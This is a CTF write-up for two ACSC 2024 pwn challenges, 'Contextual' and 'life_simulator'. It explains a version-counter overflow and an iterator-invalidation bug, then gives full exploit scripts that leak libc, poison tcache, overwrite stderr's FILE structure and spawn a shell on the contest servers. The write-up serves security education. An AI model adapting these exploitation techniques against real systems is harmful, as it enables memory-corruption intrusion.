# ACSC 2024 Qual Writeup ## Contextual (Pwn) The provided binary works as a compiler with a custom instruction set. The instructions we should look at first should be memory access instructions, which can lead to out-of-bound memory access. There can be memory access with no bound check like **opLoadRegNoCheck**, **opStoreImmRegNoCheck**, **opStoreRegRegNoCheck**. Our memory exists on the stack with the size of 0x5000 bytes, if we can achieve oob access we can easily overwrite return address and call system("/bin/sh") The compilation process has a step called **range-analysis** with each register, using this information the compiler will eliminate unnecessary bound check. To optimize even more, the compiler will save the range-analysis result of each code block with a **version number**. Using this information the compiler will only recopmile the code block in 2 situation: the current **range-analysis** result does not exceed the block **range-analysis**, or the previous block version is the same with the next block version. ```c if (prevVersion == NULL || prevVersion->version != context->prevBB->version) { //NOTE: previous optimization basis has changed, check if any range assumptions have been broken shouldRecompile = mergeRegRange(context, thisBB); if (prevVersion == NULL) { insertBBVersion(thisBB, context->prevBB); } else { prevVersion->version = context->prevBB->version; } } if (shouldRecompile) { compileBB(context, thisBB); } ``` The vulnerability exists in the fact the version number is *uint8_t* and can be overflown. ```c typedef struct BasicBlockVersion { uint64_t pc; uint8_t version; } BBVERSION; ``` So the strategy is to first have a code block that contains memory access operation. Then call this code block with valid and not out of bound range. This will make this code block compiled **with no bound check** ``` oob_rw: load <6> r7, [r8] store <6> [r8], r9 return ``` Then create another code block that can call into address loaded from register. I do this by modifying **sp register** and push address onto the stack. ``` tmp1: call tmp2 tmp2: call tmp3 point: load <6> r0, 65535 and bp, r0 return tmp3: load <6> sp, 16360 push <6> r10 push <6> 16360 return ``` So i can load address into r10 register then call tmp1, this will eventual call into the addres stored at r10. ``` load <6> r10, 8203 call tmp1 ``` The code block at **point** is the previous block, and the **oob_rw** is the block with no bound check. Our goal is overflowing the version of **point** code block. To do that just changing register state each function call to force recompilation which will increase version number. We keep doing that until the version number is equal to **oob_rw** version. After that each time we call into oob_rw there will have no bound check. The final exploit code: **solve** ``` load <6> r10, 0 jmp exp oob_rw: load <6> r7, [r8] store <6> [r8], r9 return just_ret: return tmp1: call tmp2 tmp2: call tmp3 point: load <6> r0, 65535 and bp, r0 return tmp3: load <6> sp, 16360 push <6> r10 push <6> 16360 return just_ret1: return just_ret2: return just_ret3: return just_ret4: return just_ret5: return just_ret6: return just_ret7: return just_ret8: return just_ret9: return just_ret10: return just_ret11: return just_ret12: return just_ret13: return just_ret14: return just_ret15: return just_ret16: return just_ret17: return just_ret18: return just_ret19: return just_ret20: return just_ret21: return just_ret22: return just_ret23: return just_ret24: load <8> bp, 281474976727028 jmp point just_ret25: load <8> bp, 562949953437684 jmp point just_ret26: load <8> bp, 844424930148340 jmp point just_ret27: load <8> bp, 1125899906858996 jmp point just_ret28: load <8> bp, 1407374883569652 jmp point just_ret29: load <8> bp, 1688849860280308 jmp point just_ret30: load <8> bp, 1970324836990964 jmp point just_ret31: load <8> bp, 2251799813701620 jmp point just_ret32: load <8> bp, 2533274790412276 jmp point just_ret33: load <8> bp, 2814749767122932 jmp point just_ret34: load <8> bp, 3096224743833588 jmp point just_ret35: load <8> bp, 3377699720544244 jmp point just_ret36: load <8> bp, 3659174697254900 jmp point just_ret37: load <8> bp, 3940649673965556 jmp point just_ret38: load <8> bp, 4222124650676212 jmp point just_ret39: load <8> bp, 4503599627386868 jmp point just_ret40: load <8> bp, 4785074604097524 jmp point just_ret41: load <8> bp, 5066549580808180 jmp point just_ret42: load <8> bp, 5348024557518836 jmp point just_ret43: load <8> bp, 5629499534229492 jmp point exp: load <8> r7, 0 load <8> r8, 0 load <8> r9, 0 call just_ret load <8> r8, 1 load <8> r9, 1 call just_ret load <6> r10, 8203 call tmp1 load <6> r10, 8203 call tmp1 load <6> r10, 8244 call tmp1 load <6> r0, 131071 call tmp1 load <6> r0, 131072 call tmp1 load <6> r0, 131073 call tmp1 load <6> r0, 131074 call tmp1 load <6> r0, 131075 call tmp1 load <6> r0, 131076 call tmp1 load <6> r0, 131077 call tmp1 load <6> r0, 131078 call tmp1 load <6> r0, 131079 call tmp1 load <6> r0, 131080 call tmp1 load <6> r0, 131081 call tmp1 load <6> r0, 131082 call tmp1 load <6> r0, 131083 call tmp1 load <6> r0, 131084 call tmp1 load <6> r0, 131085 call tmp1 load <6> r0, 131086 call tmp1 load <6> r0, 131087 call tmp1 load <6> r0, 131088 call tmp1 load <6> r0, 131089 call tmp1 load <6> r0, 131090 call tmp1 load <6> r1, 100 call tmp1 load <6> r1, 101 call tmp1 load <6> r1, 102 call tmp1 load <6> r1, 103 call tmp1 load <6> r1, 104 call tmp1 load <6> r1, 105 call tmp1 load <6> r1, 106 call tmp1 load <6> r1, 107 call tmp1 load <6> r1, 108 call tmp1 load <6> r1, 109 call tmp1 load <6> r1, 110 call tmp1 load <6> r1, 111 call tmp1 load <6> r1, 112 call tmp1 load <6> r1, 113 call tmp1 load <6> r1, 114 call tmp1 load <6> r1, 115 call tmp1 load <6> r1, 116 call tmp1 load <6> r1, 117 call tmp1 load <6> r1, 118 call tmp1 load <6> r1, 119 call tmp1 load <6> r2, 100 call tmp1 load <6> r2, 101 call tmp1 load <6> r2, 102 call tmp1 load <6> r2, 103 call tmp1 load <6> r2, 104 call tmp1 load <6> r2, 105 call tmp1 load <6> r2, 106 call tmp1 load <6> r2, 107 call tmp1 load <6> r2, 108 call tmp1 load <6> r2, 109 call tmp1 load <6> r2, 110 call tmp1 load <6> r2, 111 call tmp1 load <6> r2, 112 call tmp1 load <6> r2, 113 call tmp1 load <6> r2, 114 call tmp1 load <6> r2, 115 call tmp1 load <6> r2, 116 call tmp1 load <6> r2, 117 call tmp1 load <6> r2, 118 call tmp1 load <6> r2, 119 call tmp1 load <6> r3, 100 call tmp1 load <6> r3, 101 call tmp1 load <6> r3, 102 call tmp1 load <6> r3, 103 call tmp1 load <6> r3, 104 call tmp1 load <6> r3, 105 call tmp1 load <6> r3, 106 call tmp1 load <6> r3, 107 call tmp1 load <6> r3, 108 call tmp1 load <6> r3, 109 call tmp1 load <6> r3, 110 call tmp1 load <6> r3, 111 call tmp1 load <6> r3, 112 call tmp1 load <6> r3, 113 call tmp1 load <6> r3, 114 call tmp1 load <6> r3, 115 call tmp1 load <6> r3, 116 call tmp1 load <6> r3, 117 call tmp1 load <6> r3, 118 call tmp1 load <6> r3, 119 call tmp1 load <6> r6, 100 call tmp1 load <6> r6, 101 call tmp1 load <6> r6, 102 call tmp1 load <6> r6, 103 call tmp1 load <6> r6, 104 call tmp1 load <6> r6, 105 call tmp1 load <6> r6, 106 call tmp1 load <6> r6, 107 call tmp1 load <6> r6, 108 call tmp1 load <6> r6, 109 call tmp1 load <6> r6, 110 call tmp1 load <6> r6, 111 call tmp1 load <6> r6, 112 call tmp1 load <6> r6, 113 call tmp1 load <6> r6, 114 call tmp1 load <6> r6, 115 call tmp1 load <6> r6, 116 call tmp1 load <6> r6, 117 call tmp1 load <6> r6, 118 call tmp1 load <6> r6, 119 call tmp1 load <6> r8, 100 call tmp1 load <6> r8, 101 call tmp1 load <6> r8, 102 call tmp1 load <6> r8, 103 call tmp1 load <6> r8, 104 call tmp1 load <6> r8, 105 call tmp1 load <6> r8, 106 call tmp1 load <6> r8, 107 call tmp1 load <6> r8, 108 call tmp1 load <6> r8, 109 call tmp1 load <6> r8, 110 call tmp1 load <6> r8, 111 call tmp1 load <6> r8, 112 call tmp1 load <6> r8, 113 call tmp1 load <6> r8, 114 call tmp1 load <6> r8, 115 call tmp1 load <6> r8, 116 call tmp1 load <6> r8, 117 call tmp1 load <6> r8, 118 call tmp1 load <6> r8, 119 call tmp1 load <6> r9, 100 call tmp1 load <6> r9, 101 call tmp1 load <6> r9, 102 call tmp1 load <6> r9, 103 call tmp1 load <6> r9, 104 call tmp1 load <6> r9, 105 call tmp1 load <6> r9, 106 call tmp1 load <6> r9, 107 call tmp1 load <6> r9, 108 call tmp1 load <6> r9, 109 call tmp1 load <6> r9, 110 call tmp1 load <6> r9, 111 call tmp1 load <6> r9, 112 call tmp1 load <6> r9, 113 call tmp1 load <6> r9, 114 call tmp1 load <6> r9, 115 call tmp1 load <6> r9, 116 call tmp1 load <6> r9, 117 call tmp1 load <6> r9, 118 call tmp1 load <6> r9, 119 call tmp1 load <6> r11, 100 call tmp1 load <6> r11, 101 call tmp1 load <6> r11, 102 call tmp1 load <6> r11, 103 call tmp1 load <6> r11, 104 call tmp1 load <6> r11, 105 call tmp1 load <6> r11, 106 call tmp1 load <6> r11, 107 call tmp1 load <6> r11, 108 call tmp1 load <6> r11, 109 call tmp1 load <6> r11, 110 call tmp1 load <6> r11, 111 call tmp1 load <6> r11, 112 call tmp1 load <6> r11, 113 call tmp1 load <6> r11, 114 call tmp1 load <6> r11, 115 call tmp1 load <6> r11, 116 call tmp1 load <6> r11, 117 call tmp1 load <6> r11, 118 call tmp1 load <6> r11, 119 call tmp1 load <6> r12, 100 call tmp1 load <6> r12, 101 call tmp1 load <6> r12, 102 call tmp1 load <6> r12, 103 call tmp1 load <6> r12, 104 call tmp1 load <6> r12, 105 call tmp1 load <6> r12, 106 call tmp1 load <6> r12, 107 call tmp1 load <6> r12, 108 call tmp1 load <6> r12, 109 call tmp1 load <6> r12, 110 call tmp1 load <6> r12, 111 call tmp1 load <6> r12, 112 call tmp1 load <6> r12, 113 call tmp1 load <6> r12, 114 call tmp1 load <6> r12, 115 call tmp1 load <6> r12, 116 call tmp1 load <6> r12, 117 call tmp1 load <6> r12, 118 call tmp1 load <6> r12, 119 call tmp1 load <6> r13, 100 call tmp1 load <6> r13, 101 call tmp1 load <6> r13, 102 call tmp1 load <6> r13, 103 call tmp1 load <6> r13, 104 call tmp1 load <6> r13, 105 call tmp1 load <6> r13, 106 call tmp1 load <6> r13, 107 call tmp1 load <6> r13, 108 call tmp1 load <6> r13, 109 call tmp1 load <6> r13, 110 call tmp1 load <6> r13, 111 call tmp1 load <6> r13, 112 call tmp1 load <6> r13, 113 call tmp1 load <6> r13, 114 call tmp1 load <6> r13, 115 call tmp1 load <6> r13, 116 call tmp1 load <6> r13, 117 call tmp1 load <6> r13, 118 call tmp1 load <6> r13, 119 call tmp1 load <8> r7, 562949953421311 call tmp1 load <8> r7, 562949953421312 call tmp1 load <8> r7, 562949953421313 call tmp1 load <8> r7, 562949953421314 call tmp1 load <8> r7, 562949953421315 call tmp1 load <8> r7, 562949953421316 call tmp1 load <8> r7, 562949953421317 call tmp1 load <8> r7, 562949953421318 call tmp1 load <8> r7, 562949953421319 call tmp1 load <8> r7, 562949953421320 call tmp1 load <8> r7, 562949953421321 call tmp1 load <8> r7, 562949953421322 call tmp1 load <8> r7, 562949953421323 call tmp1 load <8> r7, 562949953421324 call tmp1 load <8> r7, 562949953421325 call tmp1 load <8> r7, 562949953421326 call tmp1 load <8> r7, 562949953421327 call tmp1 load <8> r7, 562949953421328 call tmp1 load <8> r7, 562949953421329 call tmp1 load <8> r7, 562949953421330 call tmp1 load <8> r10, 8244 call tmp1 load <8> r10, 8245 call tmp1 load <8> r10, 8246 call tmp1 load <8> r10, 8247 call tmp1 load <8> r10, 8248 call tmp1 load <8> r10, 8249 call tmp1 load <8> r10, 8250 call tmp1 load <8> r10, 8251 call tmp1 load <8> r10, 8252 call tmp1 load <8> r10, 8253 call tmp1 load <8> r10, 8254 call tmp1 load <8> r10, 8255 call tmp1 load <8> r10, 8256 call tmp1 load <8> r10, 8257 call tmp1 load <8> r10, 8258 call tmp1 load <8> r10, 8259 call tmp1 load <8> r10, 8260 call tmp1 load <8> r10, 8261 call tmp1 load <8> r10, 8262 call tmp1 load <8> r10, 8263 call tmp1 load <6> r10, 8267 call tmp1 load <6> r10, 8280 call tmp1 load <6> r10, 8293 call tmp1 load <6> r10, 8306 call tmp1 load <6> r10, 8319 call tmp1 load <6> r10, 8332 call tmp1 load <6> r10, 8345 call tmp1 load <6> r10, 8358 call tmp1 load <6> r10, 8371 call tmp1 load <6> r10, 8384 call tmp1 load <6> r10, 8397 call tmp1 load <6> r10, 8410 call tmp1 load <6> r10, 8423 call tmp1 load <6> r10, 8436 call tmp1 load <6> r10, 8449 call tmp1 load <6> r10, 8462 call tmp1 load <6> r10, 8475 call tmp1 load <6> r10, 8488 call tmp1 load <8> r8, 24772 load <8> r9, 280267669825 load <6> r10, 8203 call tmp1 load <8> r0, 0 store <6> [r0], r7 load <8> r0, 1 load <8> r1, 1 load <8> r2, 0 load <8> r3, 6 syscall load <8> r0, 0 load <8> r1, 0 load <8> r2, 0 load <8> r3, 24 syscall load <8> r0, 16 load <8> r8, 24772 load <8> r9, [r0] load <6> r10, 8203 call tmp1 load <8> r0, 8 load <8> r8, 24780 load <8> r9, [r0] load <6> r10, 8203 call tmp1 load <8> r0, 8 load <8> r8, 24788 load <8> r9, [r0] load <6> r10, 8203 call tmp1 load <8> r0, 0 load <8> r8, 24796 load <8> r9, [r0] load <6> r10, 8203 call tmp1 exit ``` **assembler** ```python from pwn import * def aasm(code): def check(condition): if not condition: print(f'invalid argument on line {lnum + 1} : {origLine}') exit() def getReg(rs): if rs == 'pc': return 4 elif rs == 'lr': return 5 elif rs == 'flag': return 13 elif rs == 'sp': return 14 elif rs == 'bp': return 15 check(rs[0] == 'r') try: reg = int(rs[1:]) except: check(False) check(reg >= 0 and reg < 16) return reg def getNum(n, size, unsigned = False, dontCareSign = False): if n[0] == '-': sign = -1 n = n[1:] else: sign = 1 if len(n) > 2 and n[:2] == '0x': base = 16 else: base = 10 try: n = int(n, base) except: check(False) n *= sign if dontCareSign: Min = -(1 << size) // 2 Max = (1 << size) - 1 else: if unsigned is False: Min = -(1 << size) // 2 Max = (1 << size) // 2 - 1 else: Min = 0 Max = (1 << size) - 1 check(n >= Min and n <= Max) if n < 0: n += (1 << size) return n JMP = { 'call': 0x40, 'jmp' : 0x41, 'jb' : 0x42, 'jae' : 0x43, 'je' : 0x44, 'jne' : 0x45, 'jbe' : 0x46, 'ja' : 0x47, } ALU = { 'add' : 0x50, 'sub' : 0x51, 'mul' : 0x52, 'div' : 0x53, 'and' : 0x54, 'or' : 0x55, 'xor' : 0x56, 'shr' : 0x57, 'shl' : 0x58, 'mov' : 0x59, 'cmp' : 0x5a, } JMPDST = {} RESOLVE = {} code = code.strip().split('\n') bcode = b'' for lnum, line in enumerate(code): origLine = line comment = line.find('//') if comment != -1: line = line[:comment] line = line.strip() if line=='': continue #print(line) line = line.split() if line[0] == 'push': check(len(line) == 2 or len(line) == 3) if len(line) == 2: #shorthand to not specify push imm size n = getNum(line[1], 64, dontCareSign = True) if n == 0: S = 1 else: S = (n.bit_length() + 7) // 8 bcode += p8(0x08 | (S - 1)) + int.to_bytes(n, S, 'little') else: check(len(line[1]) > 2 and line[1][0] == '<' and line[1][-1] == '>') S = getNum(line[1][1:-1], 4, unsigned = True) check(1 <= S and S <= 8) if line[2][0].isdigit(): n = getNum(line[2], S * 8, dontCareSign = True) bcode += p8(0x08 | (S - 1)) + int.to_bytes(n, S, 'little') else: r0 = getReg(line[2]) bcode += p8(0x18 | (S - 1)) + p8(r0) elif line[0] == 'pop': check(len(line) == 3) check(len(line[1]) > 2 and line[1][0] == '<' and line[1][-1] == '>') S = getNum(line[1][1:-1], 4, unsigned = True) check(1 <= S and S <=8) r0 = getReg(line[2]) bcode += p8(0x10 | (S - 1)) + p8(r0) elif line[0] == 'load': line = ' '.join(line[1:]).split(',') check(len(line) == 2) hasSize = line[0][0] == '<' if not hasSize: #shorthand to not specify load imm size r0 = getReg(line[0].strip()) n = getNum(line[1].strip(), 64, dontCareSign = True) if n == 0: S = 1 else: S = (n.bit_length() + 7) // 8 bcode += p8(0x30 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little') else: S, r0 = line[0].strip().split() check(len(S) > 2 and S[0] == '<' and S[-1] == '>') S = getNum(S[1:-1], 4, unsigned = True) check(1 <= S and S <= 8) r0 = getReg(r0) line[1] = line[1].strip() if line[1][0] != '[': n = getNum(line[1], S * 8, dontCareSign = True) bcode += p8(0x30 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little') else: check(line[1][0] == '[' and line[1][-1] == ']') r1 = getReg(line[1][1:-1]) bcode += p8(0x20 | (S - 1)) + p8(r0 | (r1 << 4)) elif line[0] == 'store': line = ' '.join(line[1:]).split(',') check(len(line) == 2) hasSize = line[0][0] == '<' if not hasSize: #shorthand to not specify store imm size line[0] = line[0].strip() check(line[0][0] == '[' and line[0][-1] == ']') r0 = getReg(line[0][1:-1]) n = getNum(line[1].strip(), 64, dontCareSign = True) if n == 0: S = 1 else: S = (n.bit_length() + 7) // 8 bcode += p8(0x38 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little') else: S = line[0].strip().split()[0] dst = line[0][len(S):].strip() check(len(S) > 2 and S[0] == '<' and S[-1] == '>') S = getNum(S[1:-1], 4, unsigned = True) check(1 <= S and S <= 8) dst = dst.strip() check(dst[0] == '[' and dst[-1] == ']') dst = dst[1:-1] line[1] = line[1].strip() if line[1][0] != 'r': r0 = getReg(dst) n = getNum(line[1], S * 8, dontCareSign = True) bcode += p8(0x38 | (S - 1)) + p8(r0) + int.to_bytes(n, S, 'little') else: r0 = getReg(dst) r1 = getReg(line[1]) bcode += p8(0x28 | (S - 1)) + p8(r0 | (r1 << 4)) elif line[0] in JMP: check(len(line) == 2) if line[1][0].isdigit() or line[1] not in ('r0','r1','r2','r3','r4','r5','r6','r7','r8','r9','r10','r11','r12','r13','r14','r15','pc','lr','flag','sp','bp'): if line[1][0].isdigit(): #Theoretically, we shouldn't do this, jumping to static offset is error prone, but allow for flexibility n = getNum(line[1], 16) bcode += p8(JMP[line[0]]) + p16(n) else: tag = line[1] offset = len(bcode) + 3 if tag in JMPDST: #This is a backward jump, so delta must be negative delta = JMPDST[tag] - offset + (1 << 16) bcode += p8(JMP[line[0]]) + p16(delta) else: RESOLVE[offset] = (tag, lnum, origLine) bcode += p8(JMP[line[0]]) + p16(0) else: check(False) ''' else: r0 = getReg(line[1]) bcode += p8(JMP[line[0]] | 0x08) + p8(r0) ''' elif line[0] in ALU: opc = line[0] line = ' '.join(line[1:]).strip().split(',') check(len(line) == 2) r0, r1 = getReg(line[0].strip()), getReg(line[1].strip()) bcode += p8(ALU[opc]) + p8(r0 | (r1 << 4)) elif line[0] == 'return': check(len(line) == 1) bcode += b'\xfd' elif line[0] == 'syscall': check(len(line) == 1) bcode += b'\xfe' elif line[0] == 'exit': check(len(line) == 1) bcode += b'\xff' else: check(len(line) == 1 and len(line[0]) > 1) check(line[0][-1] == ':') check(not line[0][0].isdigit()) tag = line[0][:-1] check(tag not in JMPDST) JMPDST[tag] = len(bcode) for offset in RESOLVE: tag, lnum, origLine = RESOLVE[offset] if tag not in JMPDST: print(f'unknown tag on line {lnum} : {origLine}') exit() delta = JMPDST[tag] - offset bcode = bcode[:offset-2] + p16(delta) + bcode[offset:] return bcode context.log_level = 1 f = open("solve", "r") c = f.read() c = aasm(c) print(hex(len(c))) #r = gdb.debug("./contextual") r = remote("contextual.chal.2024.ctf.acsc.asia", 10101) r.sendlineafter(") :", str(len(c)).encode()) r.sendafter("code : ", c) libc = u64(r.recv(6).ljust(8, b'\0')) - 0x29d90 system = libc + 0x50d70 bin_sh = libc + 0x1d8699 pop_rdi = libc + 0x000000000002a745 log.info("LIBC: " + hex(libc)) r.send(p64(system) + p64(bin_sh) + p64(pop_rdi)) r.interactive() # ACSC{f4il3d_to_s33_th4t_0ne_c0m1n6_d1dnt_y0u} ``` ![image](https://hackmd.io/_uploads/SJc32OAJ0.png) P/s: There is probably a better way to do the overflowing version part. ## life_simulator (Pwn) The vulnerability is when adding a new value to vector, the vector can be realloacted leading to invalid iterator. ```cpp void simulate() { this->number_of_steps++; for(auto it = this->lifeforms.begin(); it != this->lifeforms.end(); ++it) { int32_t prev_x_pos = it->get_x_pos(); int32_t prev_y_pos = it->get_y_pos(); this->check_lifeform(it); it->move(); int32_t curr_x_pos = it->get_x_pos(); int32_t curr_y_pos = it->get_y_pos(); if(curr_x_pos <= 0 || curr_x_pos >= this->simulation_map->get_x_size() - 1) it->flip_x_speed(); if(curr_y_pos <= 0 || curr_y_pos >= this->simulation_map->get_y_size() - 1) it->flip_y_speed(); this->simulation_map->set_area(prev_x_pos, prev_y_pos, ' ', NoneEntity); Entity curr_pos_entity = this->simulation_map->get_area_entity(curr_x_pos, curr_y_pos); if(curr_pos_entity == FruitEntity) { this->simulation_map->set_area(curr_x_pos, curr_y_pos, ' ', NoneEntity); if(it->level_up() == YesNewSpawn) { std::string new_spawn_name = it->get_name() + get_generation(it->get_number_of_children() + 1); this->add_lifeform(prev_x_pos, prev_y_pos, it->get_x_speed()*(-1), it->get_y_speed()*(-1), new_spawn_name); } } ... } ... ``` **this->add_lifeform** will reallocate the buffer, changing **this->lifeforms.end()** to another location, this can make the **it** iterating through memory belongs to another object. This gives us a limited out of bound write primitive (can only write 0x20 or 0x00 byte) using **set_area**. ```cpp void set_area(int32_t x_pos, int32_t y_pos, char indicator, Entity entity) { switch(entity) { case LifeformEntity: this->area[y_pos*this->x_size + x_pos] = indicator; this->entity_area[y_pos*this->x_size + x_pos] = LifeformEntity; break; case FruitEntity: this->entity_area[y_pos*this->x_size + x_pos] = FruitEntity; break; case PoisonEntity: this->entity_area[y_pos*this->x_size + x_pos] = PoisonEntity; break; default: this->area[y_pos*this->x_size + x_pos] = ' '; this->entity_area[y_pos*this->x_size + x_pos] = NoneEntity; break; } } ``` Abusint this I overwrite the map size to 0x2019 x 0x29 (the original map size is 0x19 x 0x29). ```cpp private: int32_t x_size; int32_t y_size; char *area; Entity *entity_area; ``` Now each time the map is printed we will have oob read. ```cpp void print_area() { for(int32_t i = 0; i < this->x_size + 2; i++) std::cout << "#"; std::cout << std::endl; for(int32_t i = 0; i < this->y_size; i++) { std::cout << "#"; for(int32_t j = 0; j < this->x_size; j++) { switch(entity_area[i*this->x_size + j]) { case FruitEntity: std::cout << "o"; break; case PoisonEntity: std::cout << "x"; break; default: std::cout << area[i*this->x_size + j]; break; } } std::cout << "#" << std::endl; } for(int32_t i = 0; i < this->x_size + 2; i++) std::cout << "#"; std::cout << std::endl; } ``` But with this large map size, the memory size is 0x2019*0x29*0x4 bytes (more than 0x149000 bytes, much larger than memory the heap has). So i have to add a bunch of lifeform with very long name. Allocation with large size will enlarge the heap, this makes that **print_area will not crash due to memory access in unmmaped memory** Finally with this large map size, we can now achieve write into this large map. Abusing this to overwrite free chunk metadata, and have arbitrary allocation using **tcache poisoning technique**. I will use this new primitive to rewrite the map struct. ```cpp private: int32_t x_size; int32_t y_size; char *area; Entity *entity_area; ``` I want to overwrite area to *_IO_2_1_stderr* struct, this means we can rewrite this file structure, and achieve RIP control using technique like house of apple. Exploit script: ```python from pwn import * #r = gdb.debug("./life_simulator_patched") #r = remote("localhost", 9000) r = remote("life-simulator.chal.2024.ctf.acsc.asia", 9000) def add(x,y,sx,sy,name): r.sendlineafter("> ", b'2') r.sendlineafter("position: ", str(x).encode()) r.sendlineafter("position: ", str(y).encode()) r.sendlineafter("): ", str(sx).encode()) r.sendlineafter("): ", str(sy).encode()) r.sendlineafter("Name: ", name) r.sendlineafter("L: ", b"L") def fruit(x, y): r.sendlineafter("> ", b'3') r.sendlineafter("position: ", str(x).encode()) r.sendlineafter("position: ", str(y).encode()) for j in range(6): for i in range(6): add(i,j,1,0, b'A') for j in range(0, 20): for i in range(0, 20): if i < 6 and j < 6: continue fruit(i, j) payload = b'\0'*0x18 + p64(0x1c1) + b'\0'*0x30 payload += (p32(26) + p32(48)).ljust(0x40, b'\0') payload += (p32(37) + p32(219)).ljust(0x40, b'\0') payload += (p32(51) + p32(104755298)).ljust(0x40, b'\0') payload += (p32(0x28) + p32(104755296)).ljust(0x40, b'\0') payload = payload.ljust(0x3e0, b'\0') add(21,21,0,0, payload) add(22,22,0,0, (b'\0'*0x18 + p64(0x3b1)) + b'\0'* (0x20000)) for i in range(2): add(i + 23,23,0,0, (b'\0'*0x18 + p64(0x3b1)) + b'\0'* (0x50000)) r.sendlineafter("> ", b'1') r.sendlineafter("> ", b'1') r.sendlineafter("> ", b'1') r.recvuntil(b"\xb1\x03\x00\x00\x00\x00\x00\x00") heap = u64(r.recv(6).ljust(8, b'\0')) - 0x14360 log.info("HEAP LEAK: " + hex(heap)) r.recvuntil(b"\x21\x0b\x00\x00\x00\x00\x00\x00") libc = u64(r.recv(6).ljust(8, b'\0')) - 0x21b290 log.info("LIBC LEAK: " + hex(libc)) def write64(where, what): off = where - 0x55555557df10 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8(what & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 8) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 16) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 24) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 32) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 40) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 48) & 0xff)) off += 1 add(off - (off // 0x29) * 0x29, (off // 0x29), 0, 0, p8((what >> 56) & 0xff)) stderr = libc + 0x21b6a0 stdin = libc + 0x219aa0 system = libc + 0x50d70 fake = libc + 0x2170c0 - 11 * 8 + 3 * 8 log.info("TARGET: " + hex((heap + 0x12ea0) ^ ((heap + 0x15620) >> 12))) add(0,0,0,0, b'\0'*0x68) write64(0x555555580620, (heap + 0x12ea0) ^ ((heap + 0x15620) >> 12)) payload = p64(0)*3 + p64(0x31) + p64(3) + p64(heap + 0x12ef0)*2 + p64(heap + 0x17440) + p64(heap + 0x17d80) + p64(0x21) payload += p32(0x11) + p32(0x11) + p64(stderr) + p64(heap + 0x20000) payload = payload.ljust(0x68, b'\0') print(hex(len(payload))) add(1,1,0,0, payload) def write641(where, what): off = where add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8(what & 0xff)) off += 1 add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 8) & 0xff)) off += 1 add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 16) & 0xff)) off += 1 add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 24) & 0xff)) off += 1 add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 32) & 0xff)) off += 1 add(off - (off // 0x11) * 0x11, (off // 0x11), 0, 0, p8((what >> 40) & 0xff)) write641(0, 0x3b68733b07f5) write641(0xa0, stderr - 0x10) write641(0xc0, system) write641(0xd0, stderr + 0xc0 - 0x68) write641(0xd8, fake) #write641(0, 0x41414141) r.interactive() # ACSC{beware_of_the_hidden_allocations!!11!_d78389} ``` ![image](https://hackmd.io/_uploads/r12wftAkR.png) ![image](https://hackmd.io/_uploads/BJ73zYRyA.png) P/s: We need to exit to trigger the rip control. The exploit takes a long time to run, due to sending a large amount of data. It can sometimes fail too.